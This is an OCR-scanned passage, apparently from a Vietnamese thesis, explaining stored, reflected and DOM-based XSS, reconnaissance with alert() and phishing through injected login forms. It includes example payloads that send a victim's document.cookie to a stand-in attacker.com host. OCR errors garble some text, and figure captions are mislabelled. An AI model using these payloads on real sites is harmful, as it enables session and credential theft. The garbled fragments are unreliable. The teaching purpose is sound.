Reply - Lites
¬
(#) Type something
Hình 2.6: Ví du attacker chèn HTML uào phan binh luận
e Từ đó khi có người dùng nào truy cập phần nhận xét của attacker,
thẻ HTML được chèn vào sẽ thực thi đoạn mã Javascript và đánh cắp
dữ liệu của người dùng như cookie.
e Sử dung thông tin về cookie, attacker có thể truy cập vào dữ liệu nhạy
cảm của người dùng như tài khoản truy cập, thông tin về trình duyệt
cũng như lịch sử truy cập
2.7.2 Reflected XSS
Đây là phương pháp khai thác XSS phổ biến nhất và có thé dé dang đượcphát hiện so với các phương pháp khác Attacker thực thi đoạn mã bên phía
người dùng (thường là một phần của URL) Khi người dùng nhắn vào đường
link, đoạn mã sẽ được thực thi và trong khi vẫn chuyển hướng đến trang web hợp
pháp cho phép attacker đánh cắp thông tin người dùng (cookie, session token, )
Trang 342.7.2.1 Cách thúc khai thác
Hình 2.5 mô tả quá trình khai thác.
e 1 Attacker tạo một đường dẫn URL bao chứa đoạn mã độc hại và gửi
đến người dùng (thông qua nhắn tin, email, website quảng cáo, )
e 2 Người dùng mở đườnng link và yêu cầu truy cập dữ liệu đến một
trang web hợp pháp (thông qua chuyển hướng trang web).
e 3 Web server phản hồi lại yêu cầu bao gồm đoạn mã đến người dùng
e 4 Trình duyệt của người dùng biên dịch dữ liệu phản hồi bao gồm
đoạn mã để hiển thi cho người dùng, trong đó đoạn mã được thực thi.
e 5 Thông tin của người dùng và trình duyệt được gửi đến attacker
Trang 352.7.2.2 Ví dụ khai thác
e Attacker phát hiện một trang web không lọc dữ liệu của người dùng
trên URL của web, điều đó cho phép attacker chèn mã HTML vào ƯRL
như sau: hxxp://example.com?query=<script>src="hxxp://attacker[.Jcom/ma
e Attacker nhúng đường link này vào phishing web và gửi đến người
dùng thông qua kĩ thuật social engineering Khi người dùng nhấn vào
đường link đoạn mã Javascript sẽ được thực thi và thực hiện các hành
vi không mong muốn
2.7.3 Dom-based XSS
DOM-based XSS tương tự như Reflected XSS ngoại trừ đoạn mã đoạn ma
độc hại sẽ được thực thi trên client-side thay vi server-side Attacker sử dụng
đoạn mã khai thác để thay đổi Document Object Model (DOM) của trang web.
Khi một trang web được tải trên trình duyệt thì DOM cũng sẽ được tạo Vì
vậy trong khi HTLM của web không thay đổi, các đoạn mã trên client-side lại
được thực thi khác hoàn toàn dẫn đến các hậu quả không mong muốn cho người
dùng.
2.7.3.1 Cách thúc khai thác
Hình 2.6 mô tả quá trình khai thác.
e 1 Attacker phát hiên một trang web bị lỗi XSS tao một đường dẫn
URL bao chứa đoạn mã độc hại và gửi đến người dùng (thông qua
nhắn tin, email, website quảng cáo, )
e 2 Người dùng bi lừa mở đường link và được chuyển hướng đến trang
web bị lỗi đó, đoạn mã độc hại vẫn được giữ trên client-side của web.
e 3 Web server phản hồi lại yêu cầu không bao gồm đoạn mã độc hai
đến người dùng.
Trang 36e 4 Trình duyệt sẽ thực thi đoạn mã độc hại trên client-side trước rồi
mới đến các đoạn mã hợp lệ
e 5 DOM sẽ được thay đổi dựa theo đoạn mã độc hại dẫn đến các hành
vi không mong muốn như gửi thông tin người dùng cho attacker
}
Hình 2.8: Vi dụ vé các bước khai thác lỗ hổng DOM-based XSS
2.7.8.2 Ví dụ khai thác
e Tương tự như Reflected XSS, attacker phát hiện trang web không lọc
dữ liệu của người dùng cho phép đặt mã HTML như một phần của
truy vấn tìm kiếm dữ liệu của trang web và gửi đến người dùng thông
qua kĩ thuật social engineering.
e Người dùng bị lừa nhấn vào đường liên kết, client sẽ gửi truy vấn đến
máy chủ Trang web sẽ không bao giờ kiểm tra đoạn mã HMTL (hoặc
Trang 37không thực sự nhận được) và trả về phản hồi như sau:
<html>
<h1> You Searched for:</h1>
<div id ="searchquery"><script>window location='http://attacker.com/?cookie='+document.cookie</scr:
<script>
var keyword = location.search.substring(3);
document querySelector('searchquery').innerHTML = keyword;
<script›|
Hình 2.9: Vi dụ vé các bước khai thác lỗ hổng DOM-based XSS
e Các đoạn mã thực hợp lệ sẽ được thực thi trước, sau đó là kết quả
truy vấn và đoạn mã HTML đính kèm nó
e Trình duyệt thực thi đoạn mã mới dẫn đến các hành vi không mong
muốn cho người dùng
2.8 Các loại ý định tan công trong việc tận dụng lỗi XSS
2.8.1 Reconnaisse
Mục đích của do thám là để attacker kiểm tra xem trang web có thể bị khai
thác lỗi XSS không bằng cách thử một vai payload đơn giản Đây là bước đầu
tiên trong quá trình khai thác để tiếp tục các hành vi gây ảnh hưởng cho người
dùng Hình ví du attacker kiểm tra lỗ hổng XSS trên một trang web bằng lệnh
alert().
portswigger-labs.net
:tors please visit the XSS cheat sheet
portswigger-labs.net says
ontexts: html,before_body,js_string_single,js_string_double,he li)
Hình 2.10: Vi dụ vé các bước khai thác lỗ hổng DOM-based XSS
Trang 38Chuyển hướng một đối tượng trong trang web ra đường dẫn bên ngoài.
2.8.2 Phishing
Phishing nhắm đến việc đánh lừa người dùng để thu nhập thông tin nhạy
cảm như username, password, email, thẻ tín dung, bằng cách chèn các yếu tốlừa đảo vào trang web Các yếu tố này được thiết kế sao cho người dùng cảm
thấy tin cậy và không nghi ngờ, đồng thời sử dụng các kỹ thuật để che giấu ý
định thực sự và thu thập dữ liệu người dùng một cách bí mật Cách thức phổ biến là giả mạo các trang web của tổ chức uy tín.
Phishing trong XSS có hai dang:
Chèn đối tượng vào trang web
Ỏ phương thức tấn công này, attacker chèn một form đăng nhập vào trang
web để thu nhập thông tin người dùng ví dụ như 6 hình 2.8 Người dùng có thể
bị lừa nhập thông tin của mình để tiếp tục xem nội dung trang web Ngay khi
người dùng nhấn vào nút Login, thông tin sẽ được gửi về attacker
Sau khi người dùng nhập thông tin vào, sẽ không có gì diễn ra có thể khiến
họ nghi ngờ đây là một cuộc tấn công và tiến hành thay đổi thông tin.
An error occurred Please login
again.
Pass |
Hình 2.11: Ví dụ vé các bước khai thác lỗ hổng DOM-based XSS